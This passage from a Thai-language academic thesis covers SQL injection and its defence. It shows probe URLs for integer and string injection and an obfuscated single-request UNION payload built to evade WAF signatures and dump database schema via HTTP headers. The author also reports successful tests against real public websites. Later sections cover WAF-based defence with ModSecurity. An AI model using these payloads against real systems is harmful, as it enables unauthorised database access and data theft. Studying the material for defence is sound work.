ทดสอบใส่ค่า Operators ท่ีเป็นเง่ือนไขจริงกบัเท็จแลว้ดูการตอบสนองของเวบ็แอพพลิเคชัน่ท่ีเกิด
เปล่ียนแปลงท่ีเกิดข้ึนเปรียบเทียบ บางระบบรักษาความปลอดภยันั้นก็ยอมท่ีจะใหใ้ชค้  าสั่งอยา่ง OR 
หรือ AND ได ้แต่เม่ือใช้ค  าสั่งอยา่ง UNION SELECT ก็จะท าการ Drop Packet หรือ Reset Session 
นั้นทิ้งทนัที 
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ซ่ึงระบบรักษาความปลอดภยัส่วนใหญ่นั้นจะใช้วิธีการตรวจจบัแบบ Signature Based เป็นหลัก 
แต่ก็อาจจะมีบางระบบท่ีใช้วิธีการตรวจจบัแบบ Anomaly Based ซ่ึงในการทดสอบระบบรักษา
ความปลอดภัยกับเว็บแอพพลิเคชั่นท่ีมีช่องโหว่ประเภท SQL Injection นั้ น จึงมีความจ าเป็นท่ี
จะตอ้งหารูปแบบในการเจาะระบบท่ีตอ้งสามารถหลบหลีกการตรวจจบัหรือป้องกนัจากอุปกรณ์
รักษาความปลอดภยัต่างๆ นั้นให้ได ้อีกทั้งตอ้งแยกแยะชนิดของช่องโหว่ประเภทน้ีให้ได้ว่าเป็น 
Integer หรือ String 
 3.3.1  ช่องโหว ่SQL Injection ชนิดท่ีเป็น Integer 
 การตรวจสอบว่าเว็บแอพพลิเคชั่นมีช่องโหว่ SQL Injection ชนิดท่ีเป็น Integer นั้ น
สามารถท่ีจะทดสอบได้ด้วยการใช้ Operators ท่ีมีผลในด้านการค านวณทางคณิตศาสตร์ อาทิเช่น 
http://www.site.com?page.php?id=2 ก็ลองใส่ค่าเป็น http://www.site.com?page.php?id=2-1 เป็นตน้ 
 

 
 

ภาพที ่3.4  ตวัอยา่งเวบ็ไซตมี์ช่องโหว ่SQL Injection ชนิดท่ีเป็น Integer (1) 
  

  และในกรณีท่ีหน้าเวบ็แอพพลิเคชัน่เกิดมีการเปล่ียนแปลงท่ีตอบสนองกลบัมานั้นมีค่า
ตรงกันกับ http://www.site.com?page.php?id=1 ก็แสดงว่าเว็บแอพพลิเคชั่นนั้นน่าจะมีช่องโหว ่
SQL Injection 
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ภาพที ่3.5  ตวัอยา่งเวบ็ไซตมี์ช่องโหว ่SQL Injection ชนิดท่ีเป็น Integer (2) 
  

 3.3.2  ช่องโหว ่SQL Injection ชนิดท่ีเป็น String 
 การตรวจสอบว่าเว็บแอพพลิเคชั่นมีช่องโหว่ SQL Injection ชนิดท่ีเป็น String นั้ น
สามารถท่ีจะทดสอบได้ด้วยการใช้เคร่ืองหมาย ‘(Single Quote) หรือ “(Double Quote) แทรก
ต่อทา้ยพารามิเตอร์เขา้ไปเพื่อตรวจสอบผลลพัธ์ในประโยคของ SQL ท่ีจะแสดงผลตอบกลบัมา ซ่ึง
ช่องโหวใ่นลกัษณะน้ีจะตอ้งพยายามหารูปแบบท่ีจะใชใ้นการปิดประโยคของ SQL นั้นให้ได ้อาทิ
เช่น  http://www.site.com?page.php?id=2 ก็ลองใส่ค่ า เป็น  http://www.site.com?page.php?id=2’ 
เป็นตน้ 
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ภาพที ่3.6 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ชนิดท่ีเป็น String (1) 
  

 และในกรณีที่หน้าเวบ็แอพพลิเคชัน่เกิดมีการเปลี่ยนแปลงที่ตอบสนองกลบัมานั้น 
ไม่ว่าจะเป็นการแสดงขอ้ความผิดพลาดที่บ่งบอกค าสั่งของ SQL หรืออาจจะเป็นในลกัษณะท่ี
เวบ็แอพพลิเคชัน่นั้นเปลี่ยนหน้าไปก็ตามนั้น ก็ให้ทดสอบใส่ค่า Comment ที่ใช ้ส าหรับปิด
ประโยคอย่างเช่นเคร่ืองหมาย  # หรือ -- - หรืออาจจะใช้ Operators อย่าง AND แลว้ใช้เง่ือนไขท่ี
เป็นจริงหรือเป็นเท ็จลงไป อาทิเช่น http://www.site.com?page.php?id=2’+and+’x’=’x และ 
http://www.site.com?page.php?id=2’+and+’x’=’y  
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ภาพที ่3.7  ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ชนิดท่ีเป็น String (2) 
  
3.4  ออกแบบการหลบหลกีจากการตรวจจับของระบบรักษาความปลอดภัย 
 ผูว้จิยัไดท้  าการวิเคราะห์ความสามารถในการตรวจจบัและป้องกนัภยัคุกคามท่ีเก่ียวขอ้ง
กับระบบเว็บแอพพลิเคชั่นของอุปกรณ์รักษาความปลอดภัยแต่ละประเภทแล้วพบว่า อุปกรณ์ 
Packet Filtering Firewall, Stateful Inspection Firewall นั้นไม่มีความสามารถในการตรวจจบัและ
ป้องกันการโจมตีเว็บแอพพลิเคชั่น แต่ในส่วนของอุปกรณ์ IDS/IPS, Application Proxy และ 
Hybrid Firewall ในบางระบบนั้ นก็ มีความสามารถท่ีจะตรวจจับและป้องกันการโจมตีเว็บ
แอพพลิเคชัน่ดว้ยเทคนิค SQL Injection ไดบ้า้ง 
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ภาพที ่3.8  การหลบหลีกจากการตรวจจบัของระบบรักษาความปลอดภยั 
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 ในส่วนน้ีผูว้ิจยัไดท้  าการวิเคราะห์กระบวนการร้องขอและตอบสนองในกระบวนการ
ท างานของ HTTP Protocol โดยสรุปพอสังเขปเพื่อน าเอาไปใชใ้นกระบวนการออกแบบเจาะระบบ
เวบ็แอพพลิเคชัน่ไดด้งัน้ี 
 

 
 

ภาพที ่3.9  กระบวนการร้องขอและตอบสนอง 
 

 HTTP Request ในการเจาะระบบเวบ็แอพพลิเคชัน่นั้นถูกกระท าผ่าน HTTP Method 
เป็นหลกัส าคญั ซ่ึง Payload ต่างๆ ท่ีเป็นรูปแบบของการโจมตีนั้น ระบบป้องกนัต่างๆ จะท าการ
ตรวจสอบผ่านการร้องขอในลักษณะน้ีเป็นหลักอยู่แล้ว แต่ก็มีบางองค์กรหรือหน่วยงานนั้นได ้
ท าการออกแบบระบบการตรวจจบัและป้องกนัในส่วนน้ีโดยเลือกท่ีจะใช้งาน Reverse Proxy ซ่ึง
ความสามารถส่วนใหญ่ท่ี Reverse Proxy ท าไดน้ั้นก็คือเขียน Regular Expression การร้องขอท่ีผา่น 
HTTP Method แต่ในส่วน HTTP Header นั้นจะท าการละทิ้งและปล่อยผา่นไป 
 HTTP Response การอาศยัประโยชน์เพื่อการเจาะระบบเวบ็แอพพลิเคชัน่ในส่วนน้ีนั้น
ส่วนใหญ่จะดูท่ี HTTP Status Code ว่ามีการตอบสนองได้ค่าอะไรตอบกลบัมาแต่ในส่วน HTTP 
Header นั้นก็จะดูเร่ืองขอ้มูลท่ีเอาไวใ้ชป้ระกอบกนัในการเจาะระบบเวบ็ไซต ์
 
3.5  การโจมตีผ่าน HTTP Header 
 จากการวเิคราะห์กระบวนการร้องขอและตอบสนองในกระบวนการท างานของ HTTP 
Protocol นั้นพบวา่ระบบรักษาความปลอดภยัคอมพิวเตอร์ในบางระบบนั้น น่าจะมีความหละหลวม
ในการตรวจจบัและป้องกนัในส่วนของวิธีการท่ีจะอาศยัการซ่อน Payload ของ SQL Injection นั้น
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ผ่านทาง Header ของ HTTP แทน ซ่ึงระบบรักษาความปลอดภัยคอมพิวเตอร์ทั่วๆ ไปนั้ นจะมี 
Signature ในการตรวจจบัท่ีจะมองไปท่ีการเรียกใช้งานจากฝ่ังคอมพิวเตอร์ไคลเอนต์ผ่านทาง 
HTTP Method อย่าง HEAD, GET หรือ POST เป็นหลักดังนั้ นจึงส่งผลท าให้ Payload ของ SQL 
Injection ท่ีถูกแทรกมาผา่น HTTP Header นั้นไม่ถูกตรวจพบ 
 

                

            

                    

                  
                      

                     
IDS/IPS

Next Generation Firewall
Web Application Firewall

                                                  
1.                                                                                                      
                
2.                                                     
                          
3.                                                                                            
                

                                         
1.                                                   HTTP     HTTPS Protocol
2.                                                                      
(                                )                    (machine language) 
                            
3.                                                                                          

 
ภาพที ่3.10 การออกแบบล าดบัขั้นตอนการเจาะระบบ 
  
 แต่วิธีการโจมตีในลกัษณะดงักล่าวน้ีจะเกิดผลท่ีเป็นจริงไดก้็ต่อเม่ือเวบ็แอพพลิเคชั่น 
ท่ีมีช่องโหว่แบบ SQL Injection นั้นไม่มีการป้องกนัการรับค่าอินพุตผ่านทาง HTTP Header ดว้ย
เช่นกนั ดงันั้นผูว้ิจยัจึงมีแนวคิดท่ีจะท าให้ Payload ของ SQL Injection ท่ีจะใช้ทดสอบเจาะระบบ
นั้นมีประสิทธิภาพในการดึงขอ้มูลท่ีส าคญัๆ ออกมาไดโ้ดยท่ีจะพยายามไม่กระท าการส่งการร้อง
ขอแบบถ่ีๆ อีกทั้ งยงัต้องเพิ่มความซับซ้อนเข้าไปใน Payload ของ SQL Injection เพื่อให้ระบบ
รักษาความปลอดภยัคอมพิวเตอร์นั้นละเลยกบัการกระท าดงักล่าว 
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 ผูว้ิจยัได้ท าการประยุกต์ปรับปรุง Payload ของ SQL Injection ท่ีจะใช้ในการทดสอบ
เจาะระบบนั้นให้มีประสิทธิภาพในการดึงขอ้มูลออกมาจากฐานขอ้มูล โดยท่ีมุ่งเน้นไปท่ีจะตอ้ง 
ไม่ส่งการร้องขอไปยงัเคร่ืองเป้าหมายท่ีทดสอบในจ านวนหลายๆ คร้ัง อันเน่ืองจากต้องการ 
หลบเล่ียงการตรวจพบพฤติกรรมการบุกรุกในการวิเคราะห์ขอ้มูลจากบนัทึกขอ้มูลในการเขา้ใชง้าน
ของระบบนั้นๆ ได ้
 
http://www.site.com/page.php?id=-

234+and@:=(select(@)from(select(@:=0b00000000),(select(0)from(`inform

ation_schema`.columns)where(`table_schema`!=0b01101001011011100110011

001101111011100100110110101100001011101000110100101101111011011100101

1111011100110110001101101000011001010110110101100001)and(0b00000000)i

n(@:=`concat`(@,0b00111100011000100111001000111110 

,`table_schema`,0b001000000011101000100000,aes_decrypt(aes_encrypt((`

table_name`),1),1),0b001000000011101000100000,aes_decrypt(aes_encrypt

((`column_name`),1),1)))))x)+union+select+(\N), (\N),@, (\N), (\N), 

(\N), (\N), (\N), (\N) ) 

 
ภาพที ่3.11  ตวัอยา่งรูปแบบค าสั่ง Payload ของ SQL Injection แบบประยกุต ์
  

 จากภาพดา้นบนนั้นสามารถอธิบายลกัษณะของกระบวนการท างาน Payload ของ SQL 
Injection ในชุดน้ี คือ ไดท้  าการประกาศตวัแปรเอาไวก่้อนหนา้ท่ีจะท าการเรียกใชง้าน โดยตวัแปรท่ี
ไดป้ระกาศเอาไวน้ั้นเป็นการเรียกอ่านขอ้มูลท่ีเป็น ช่ือฐานขอ้มูล ช่ือตารางขอ้มูล รวมถึงช่ือคอลมัน์
ขอ้มูล ในการส่งการร้องขอเพียงคร้ังเดียว จากนั้นก็ไดน้ าตวัแปรท่ีไดป้ระกาศเอาไวก่้อนหนา้น้ีระบุ
เขา้ไปในต าแหน่งของคอลมัน์ท่ีสามารถแสดงผลลพัธ์นั้นๆ ออกมาทางหนา้เวบ็แอพพลิเคชัน่นั้นๆ 
ได ้
 ซ่ึงในการท างานตรวจสอบการท างานของระบบรักษาความปลอดภยัในบางระบบนั้น
จะอนุญาตให้ลกัษณะดงักล่าวสามารถใช้งานได ้อนัเน่ืองมาจากระบบมองวา่รูปแบบค าสั่ง union 
select (\N), @, (\N) นั้น เคร่ืองหมาย @ ไม่ใช่ค าสั่งในภาษา SQL และไม่น่าท่ีจะท างานได ้
 
3.6  ทดสอบเจาะระบบเวบ็ไซต์ด้วยเทคนิค SQL Injection ผ่าน HTTP Header 
 ผูว้ิจยัได้ท าการสุ่มทดสอบเจาะระบบเวบ็ไซต์ด้วยเทคนิค SQL Injection ผ่าน HTTP 
Header ซ่ึงใชข้ั้นตอนในการทดสอบดงัต่อไปน้ี 
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ภาพที ่3.12  หนา้เวบ็ไซตท่ี์ใชท้ดสอบ 
  
 ผูว้ิจยัพบวา่ในเวบ็ไซตด์งักล่าวน้ีมีช่องโหว ่SQL Injection แต่ในการส่งการร้องขอผา่น 
HTTP Method แบบ GET ก็ตามท่ีมีค าสั่งของ SQL แล้วจ าเป็นต้องเรียกใช้งานตัวอักขระอย่าง
เคร่ืองหมาย () เช่น การใช้งานค าสั่งอย่างเช่น version(), user() หรือ database() ก็ตามนั้ น เว็บ
แอพพลิเคชัน่น้ีจะแสดงขอ้ความตอบกลบัมาทนัทีว่า “The html tags you attempted to use are not 
allowed”  
 จากนั้นผูว้จิยัไดท้  าการสร้างสันนิฐานในการทดสอบวา่ หากเปล่ียนแปลงขอ้มูลในส่วน
พารามิเตอร์ท่ีใชใ้นการร้องขอผา่น HTTP Method นั้น โดยให้พารามิเตอร์ท่ีใช้ในการร้องขออยูใ่น 
HTTP Header แทนซ่ึงผลลพัธ์ท่ีไดน้ั้น ผูว้ิจยัสามารถท่ีจะส่งการร้องขอเรียกใชง้านในรูปแบบของ
โจมตีดว้ย SQL Injection ผา่น HTTP Header ในคร้ังเดียวแลว้ไดข้อ้มูลท่ีอยูใ่นฐานขอ้มูลออกมา 
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ท าการตรวจสอบหาช่องโหว ่SQL Injection ผา่นทาง HTTP Header 
 

 
 
ภาพที ่3.13  ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (1) 
  

ท าการแทรกค าสั่ง SQL ท่ีแสดงเวอร์ชัน่ฐานขอ้มูล, ช่ือผูใ้ชง้านฐานขอ้มูล ผา่นทาง HTTP Header 
 

 
 

ภาพที ่3.14 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (2) 
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ท าการแทรกค าสั่ง SQL ท่ีดึงขอ้มูลต่างๆ ผา่นทาง HTTP Header 
 

 
 

ภาพที ่3.15 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (3) 
 

 ซ่ึงผูว้ิจยัยงัพบว่าเว็บไซต์อีกเป็นจ านวนไม่น้อยท่ีสามารถเข้าถึงได้โดยผ่านระบบ
อินเตอร์เน็ต และมีสามารถถูกเจาะระบบดว้ยเทคนิคดงักล่าวน้ีได ้
 

 
 

ภาพที ่3.16 ตวัอยา่งหนา้เวบ็ไซตอ่ื์นท่ีมีช่องโหว ่
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ผูว้จิยัคน้พบช่องโหวแ่ละท าการทดสอบเจาะระบบดว้ยเทคนิคดงักล่าวและไดผ้ลส าเร็จเช่นกนั 
 

 
 

ภาพที ่3.17 ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (1) 
 
ท าการแทรกค าสั่ง SQL ท่ีดึงขอ้มูลต่างๆ ผา่นทาง HTTP Header 
 

 
 

ภาพที ่3.18  ตวัอยา่งเวบ็ไซตท่ี์มีช่องโหว ่SQL Injection ผา่น HTTP Header (2) 
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 อุปกรณ์รักษาความปลอดภยัอยา่ง IDS/IPS, Firewall (Stateful Inspection Firewall หรือ 
Next Generation Firewall) นั้นส่วนจะไม่มีความสามารถท่ีดีเพียงพอท่ีจะตรวจจบัหรือป้องกนัการ
โจมตีด้านเว็บแอพพลิเคชั่น ระบบรักษาความปลอดภัยด้านเว็บแอพพลิเคชั่นอย่าง “Web 
Application Firewall” หรือท่ีเรียกย่อๆ ว่า WAF นั้ นถูกออกแบบมาให้ท าหน้าท่ีตรวจจับและ
ป้องกนัการโจมตีในดา้นน้ีโดยเฉพาะ 
 

 
 

ภาพที ่3.19  รูปแบบการท างานของ Web Application Firewall 
  
 กลบักนัในทางปฏิบติันั้น Web Application Firewall เองก็เป็นตวัท่ีสร้างปัญหาท่ีจะท า
ใหเ้วบ็แอพพลิเคชัน่บางส่วนไม่สามารถใชง้านได ้ดว้ยเหตุท่ีวา่การก าหนดค่าคอนฟิกบางประเภทท่ี
เป็นส่ิงท่ีถูกตอ้งในการใช้งานนั้น Web Application Firewall กลับตรวจสอบว่าเป็นส่ิงท่ีไม่ปกติ
ส าหรับการใชง้าน และวธีิการแกไ้ขส่วนใหญ่ก็ท าไดด้ว้ยการปิดส่วนการท างานนั้นๆ ออกไป 
 ท่ีได้กล่าวไวข้้างต้นนั้นจะเห็นได้ว่าในการใช้งาน Web Application Firewall เองนั้น
จะตอ้งคอยหมัน่ตรวจสอบแกไ้ขปรับปรุงคอนฟิกของระบบให้สอดคลอ้งกบัการใชง้านท่ีถูกตอ้ง
และเป็นจริงให้มากท่ีสุดกบัเวบ็แอพพลิเคชัน่นั้นๆ และหากยิ่งมีการพฒันาเวบ็แอพพลิเคชัน่ท่ีไม่ดี
พอหรือมีความสลบัซับซ้อนเวลาท่ีมีการเรียกใช้งานดว้ยแลว้นั้น ก็จะส่งผลให้ค่าคอนฟิกท่ีดีของ 
Web Application Firewall ลดลงตามไปดว้ย 
  



บทที ่4 
ผลการศึกษา 

 
4.1  บทน า 
 ผู้วิจัยได้ศึกษาเทคนิคการเจาะระบบและป้องกัน SQL Injection ซึ่งในงานวิจัยนั้น
มุ่งเน้นไปเชิงการป้องกัน SQL Injection โดยที่จะเน้นการป้องกันในส่วนของระบบโครงสร้างที่
ให้บริการพื้นฐาน (Infrastructure) เป็นส าคัญ ทั้งนี้นั้นมุ่งหวังให้ผู้ที่ต้องให้บริการระบบคอมพิวเตอร์ 
เครือข่ายต่างๆ นั้น เกิดความปลอดภัยกับระบบคอมพิวเตอร์เพิ่มมากขึ้น 
 จากการทดลองในงานวิจัยที่ได้ท าการศึกษาในบทที่ 3 นั้นพบว่าเว็บไซต์ขององค์กร
หรือหน่วยงานต่างๆ ที่ได้ท าการทดสอบเจาะระบบเว็บไซต์นั้น มีเว็บไซต์จ านวนไม่น้อยที่ มี 
ช่องโหว่ SQL Injection ซึ่งผู้วิจัยคาดการณ์ว่าผู้ที่มีหน้าที่ดูแลรับผิดชอบระบบเหล่านั้น อาจจะยัง 
ไม่ทราบถึงปัญหาหรือภัยคุกคามของระบบเหล่านั้น จึงยังท าให้เกิดข้อผิดพลาดอยู่ในระบบหรือ
อาจจะทราบแล้วแต่ยังไม่สามารถหาแนวทางแก้ไขหรือป้องกันระบบให้ลดความเสี่ย งจากภัย
คุกคามระบบคอมพิวเตอร์นั้นได้ 
 ยังมีแนวความคิดและความเข้าใจที่ไม่ถูกต้องนักส าหรับผู้บริหารขององค์กรหรือ
หน่วยงานต่างๆ เป็นจ านวนไม่น้อยที่ยังมีความเชื่อและเข้าใจว่าการมีอุปกรณ์รักษาความปลอดภัย
อย่าง IDS/IPS, Firewall พอเพียงที่จะรักษาความปลอดภัยทางระบบคอมพิวเตอร์นั้นได้ หรือในบาง
กรณีนั้นองค์กรหรือหน่วยงานต่างๆ อาจจะมีอุปกรณ์รักษาความปลอดภัยอย่าง Web Application 
Firewall แล้วก็ตามแต่การที่เว็บแอพพลิเคชั่นต่างๆ มีรูปแบบหลากหลายเวลาที่มีการร้องขอเรียกใช้
งาน หรือมีการปรับแก้ไขซอร์สโค้ดของเว็บแอพพลิเคชั่นนั้นอยู่เป็นประจ าโดยที่ไม่มีแนวทางการ
พัฒนาการเขียนซอร์สโค้ดที่มีความปลอดภัยด้วยแล้วนั้น ก็ท าให้การปรับแต่งค่าคอนฟิกการ
ป้องกันของอุปกรณ์ท างานได้ไม่ดีพอหรือบางสถานการณ์อาจจะท าให้ต้องเปลี่ยนโหมดการท างาน
แบบป้องกันของอุปกรณ์จาก Blocking Mode หรือเพียงแค่ Monitor Mode 
 ในส่วนเร่ืองการรักษาความปลอดภัยของระบบคอมพิวเตอร์นั้น ยังจ าเป็นที่จะต้องระมัดระวัง
และค านึงเสมอว่าไม่มีระบบใดๆ ที่ปลอดภัย 100% จากภัยคุกคามระบบคอมพิวเตอร์  ช่องโหว่ใน
รูปแบบใหม่ที่ยังไม่เคยมีใครค้นพบนั้น (Zero-day) ก็มีโอกาสที่จะเกิดขึ้นและยังน ามาซึ่งการสร้าง
ความเสียหายต่อระบบคอมพิวเตอร์ได้ตลอดเวลา เพียงแต่ว่าต้องมีมาตรการเตรียมพร้อมรับมือ 
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สิ่งต่างๆ เหล่านี้เอาไว้เพื่อที่เวลาเกิดปัญหาขึ้นมาในระบบนั้น จะได้สามารถท าการตรวจสอบและ
แก้ไขได้ทันท่วงทีซึ่งผู้วิจัยจะได้เสนอแนวทางที่ช่วยลดความเสี่ยงของระบบในล าดับถัดไป 

 
4.2  แนวทางการปรับปรุง Web Application และการรักษาความปลอดภัยบนเว็บไซต์ 
 ส่วนใหญ่ของการใช้งานเว็บที่ใช้ฐานข้อมูลในการสร้างค าสั่ง SQL (ค าสั่งในการใช้งาน
ฐานข้อมูล) บนพื้นฐานของข้อมูลของผู้ใช้ ซึ่งหมายความว่าถ้ากระบวนการสร้าง SQL ไม่มีการ
รักษาความปลอดภัย การจะถูกโจมตีและการจัดการฐานข้อมูลจะเป็นไปได้ ปัญหานี้จะเรียกว่า  
"SQL Injection vulnerability" และวิธีการโจมตีจากการใช้ประโยชน์จากช่องโหว่นี้ถูกเรียกว่า 
"SQL Injection attack" 
 

 
 

ภาพท่ี 4.1 แสดงรูปแบบของการใช้ SQL Injection 
 

 1. ภัยคุกคามที่เป็นไปได้ 
  ช่องโหว่นี้อาจท าให้มีอันตรายจากผู้โจมตี:  

- ดูข้อมูลที่ส าคัญเก็บไว้ในฐานข้อมูล 
  เช่น การเปิดเผยข้อมูลส่วนบุคคล 

- บิดเบือนและ / หรือลบข้อมูลที่เก็บไว้ในฐานข้อมูล 
  เช่น ความผิดพลาดของหน้าเว็บ, การเปลี่ยนรหัสผ่าน, การปิดระบบ 
 
 

(IT SECURITY CENTER) [7] 



76 

- การตรวจสอบการเข้าสู่ระบบแบบ Bypass 
  การด าเนินงานทั้งหมดที่ได้รับอนุญาตภายใต้สิทธิของการเข้าสู่ระบบบัญชีที่เป็นไป
ได้ 

- รันค าสั่งระบบปฏิบัติการโดยใช้วิธีการจัดเก็บ 
  เช่น ระบบ System hijacking การท าให้เป้าหมาย PC a bot (launching point) เพื่อ
โจมตีผู้อ่ืน 
 2. เว็บไซต์ที่ต้องการความสนใจเป็นพิเศษ 
  ไม่ว่าเว็บไซต์ชนิดไหนก็ตามที่มีอยู่หรือที่ก าลังท างาน มันเป็นเว็บไซต์ที่อาจจะตก
เป็นเหยื่อ ถ้าเว็บไซต์นั้นรัน web application ที่ท างานร่วมกันกับ databases หากเว็บไซต์ที่ใช้ฐาน 
ข้อมูลที่สามารถเก็บข้อมูลที่มีความเสี่ยงสูง เช่นข้อมูลส่วนบุคคล ที่ต้องใช้ความระมัดระวังมาก 
ก็เรียกได้ว่าเป็นเว็บที่ต้องการความสนใจเป็นพิเศษ 
 4.2.1  HTTP Header Injection 
 web application แบบไดนามิกจะก าหนดค่าในส่วนของ header fields เพื่อตอบสนอง 
HTTP บนพื้นฐานของค่าผ่านพารามิเตอร์ภายนอก ยกตัวอย่างเช่นการเปลี่ยนเส้นทาง HTTP จะ
ด าเนินการโดยการตั้งค่าการเปลี่ยนเส้นทางไปยัง URL ที่ระบุในพารามิเตอร์ไปยังต าแหน่งของ 
header fields หรือ web application อาจจะตั้งชื่อที่ป้อนในกระดานข่าวไปยัง Cookie header filed  
หากกระบวนการของการสร้างส่วนหัวของให้ตอบสนองต่อ HTTP ในการใช้งานเว็บดังกล่าวมี 
ช่องโหว่ที่ผู้โจมตีสามารถเพิ่ม header fields เพื่อจัดการเน้ือหาการตอบสนองและมี web application 
เพื่อสร้างการตอบสนองในหลายรูปแบบ ปัญหานี้จะเรียกว่า "HTTP Header Injection vulnerability" 
และวิธีการในการโจมตีจากการใช้ประโยชน์จากช่องโหว่นี้ถูกเรียกว่า "HTTP Header Injection 
attack" โดยเฉพาะอย่างยิ่งการโจมตีที่น าไปสู่การสร้างการตอบสนองต่อ web application ได้หลาย
คร้ังเรียกว่า "HTTP Response Splitting attack" 
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ภาพท่ี 4.2  แสดงรูปแบบ HTTP Header Injection 
 

 4.2.2  ป้องกันWeb  application ด้วย WAF 
 เพื่อความปลอดภัยของ web application เป็นสิ่งส าคัญเพื่อที่จะท าให้แน่ใจว่าจะไม่มี
ช่องโหว่ในสถานที่แรกและทันทีที่พบก็จะลบช่องโหว่นั้นๆ ในขณะที่การรักษาความปลอดภัย web 
application ของตัวเว็บเองก็จะท าการป้องกันเท่าที่เป็นไปได้ผู้ดูแลระบบสามารถเพิ่ม layer การ
รักษาความปลอดภัยเพิ่มขึ้นอีกขั้นเพื่อให้การด าเนินงานของการใช้ WAF (Web Application 
Firewall) ป้องกัน web application จากการโจมตีในโลกไซเบอร์ที่พยายามที่จะใช้ประโยชน์จาก
ช่องโหว่ของ web application 
 WAF เป็นซอฟต์แวร์รักษาความปลอดภัยหรือฮาร์ดแวร์ที่ตรวจสอบ HTTP traffic 
(รวมถึง HTTPS) ระหว่างเว็บไซต์และผู้ใช้ โดยการตัดออก แบบอัตโนมัติเหมือนการจราจรที่เป็น
อันตรายเช่นการโจมตีไซเบอร์ โดยใช้ WAF จะมีประโยชน์ดังต่อไปนี้: 

(IT SECURITY CENTER) [7] 
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 ป้องกันการใช้งาน web application จากการโจมตีในโลกไซเบอร์ที่พยายามที่จะใช้
ประโยชน์จากช่องโหว่ 
 ตรวจจับการโจมตีในโลกไซเบอร์ที่พยายามที่จะใช้ประโยชน์จากช่องโหว่ 
 ใช้ป้องกันจากหลาย web application จากการโจมตีทางไซเบอร์ 
 

 
 

ภาพท่ี 4.3  แสดงการป้องกันด้วย Web Application Firewall (WAF) 
 
 ทั้งนี้ขึ้นอยู่กับสถานะการพัฒนาและสถานการณ์การด าเนินงานของ web application 
ท าให้การใช้ของ WAF อาจจะมีประสิทธิภาพมากขึ้นกว่าที่ต้องเสียเวลาและเงินในการปรับเปลี่ยน 
web application 
 4.2.3  WAF filtering of HTTP traffic 
 WAF สามารถสแกน HTTP traffic ได้โดยอัตโนมัติ เหมือนการร้องขอผลตอบสนอง
ของระหว่างเว็บไซต์และผู้ใช้ตามกฎ WAF ที่สร้างโดยผู้ดูแลเว็บไซต์ ผ่านจากการสแกน WAF จะ
ตรวจสอบว่า traffic เป็นอันตราย (harmful) ต่อเว็บไซต์และผู้ใช้และตัวกรอง traffic หรือไม่ กฎ 
WAF มีการตั้งค่าที่จะจับบางสิ่ง เช่นตัวอักษรที่สามารถน ามาใช้โจมตีในโลกไซเบอร์ สามารถใช้
เป็นประโยชน์จากช่องโหว่ของ web application และช่องโหว่ของประเภทของพารามิเตอร์และค่า 
ที่ก าหนดไว้ใน web application specifications มาตรวจสอบได้ เมื่อสแกน HTTP packets เสร็จแล้ว

(IT SECURITY CENTER) [7] 
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จะถือว่าถูกต้อง (rightful) ที่ WAF ส่งต่อ HTTP packets ไปยังเว็บไซต์หรือผู้ใช้ หรือในทางตรงกัน
ข้ามเมื่อสแกน HTTP packets แล้วถือว่าเป็นอันตราย (harmful) การประมวลผล WAF ที่ก าหนดไว้
ล่วงหน้าเช่นแจ้งผู้ดูแลระบบและตัดการส่งผ่านโดยไม่ต้องส่ง HTTP packets ต่อก็จะท างานเพราะ 
WAF ได้กรองเจอ error ในบางคร้ังที่กรอง 
 

 
 

ภาพท่ี 4.4  แสดงลักษณะของ Positive and Negative Judgment 
 

 4.2.4  HTTP filtering errors 
 ทั้งนี้ขึ้นอยู่กับเนื้อหาของ HTTP packets บางคร้ังก็อาจเกิด error ขึ้นได้ อาจจะมี error 2 
ชนิด  คือ false positive และ false negative  
 False positive เป็นแพ็คเก็ต HTTP ที่ถูกต้องแต่ได้รับการตัดสินที่ผิดพลาดว่าเป็น
อันตราย ในท านองเดียวกัน false negative เป็นแพ็คเก็ต HTTP ที่เป็นอันตรายที่ได้รับการตัดสินว่า
ผิดพลาดที่ถูกต้องแล้ว 
 เมื่อใช้ WAF ผู้ดูแลเว็บไซต์ควรค านึงถึงความเป็นไปได้ของการกรองที่ผิดพลาด 
ที่สามารถเกิดขึ้นได้ ทั้ง false positive และ false negative 
 

(IT SECURITY CENTER) [7] 



80 

 
 

ภาพท่ี 4.5  แสดงลักษณะของ False Positive and False Negative 
 

4.3  ขั้นตอนโดยรวมของเทคนิคท่ีน าเสนอ 
 โดยการแก้ไขปัญหาช่องโหว่ดังกล่าวนั้น ผู้วิจัยได้เลือกท าการจ าลองระบบเว็บไซต์ของ
คณะวิศวกรรมศาสตร์ขึ้นมาทดสอบ และออกแบบให้มีช่องโหว่ SQL Injection และมีการป้องกันที่
ระดับเว็บเซิร์ฟเวอร์โดยท าการติดตั้งโปรแกรมที่ท าหน้าที่เป็น Web Application Firewall (WAF) ที่
มีชื่อว่า Mod Security เข้าไปในระบบและใช้ค่าคอนฟิกแบบที่ไม่รัดกุมมากนัก เพื่อให้เกิดความ
ยืดหยุ่นในการใช้งานและป้องกันเร่ืองความผิดพลาดที่ระบบมองพฤติกรรมการท างานปกติเป็นการ
ท างานที่ผิดปกต ิ
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ภาพท่ี 4.6 แสดงรูปแบบระบบรักษาความปลอดภัยที่น าเสนอ 
 
 ล าดับแรกผู้วิจัยได้ท าการเจาะระบบเว็บไซต์จ าลองก่อนที่จะมีการป้องกันว่าสามารถ
เจาะระบบนั้นได้จริง ถัดมาจึงท าการเปิดการใช้งานระบบ Web Application Firewall ขึ้นมาป้องกัน 
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ภาพท่ี 4.7  แสดงเว็บไซต์จ าลองที่ติดตั้ง Web Application Firewall 
 

 จากนั้นจึงได้ท าการทดลองเจาะระบบด้วยวิธีเดิมอีกคร้ัง  ซึ่งผลปรากฏว่า Web 
Application Firewall นั้นสามารถที่จะป้องกันการโจมตี SQL Injection ด้วย Payload เดิมได้ทั้งหมด 
อาทิเช่น สามารถป้องกันการใช้ค าสั่ง AND ได้ 

 

 
 

ภาพท่ี 4.8  แสดงการป้องกันค าสั่ง AND 
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สามารถป้องกันการใช้ค าสั่ง OR ได้ 
 

 
 

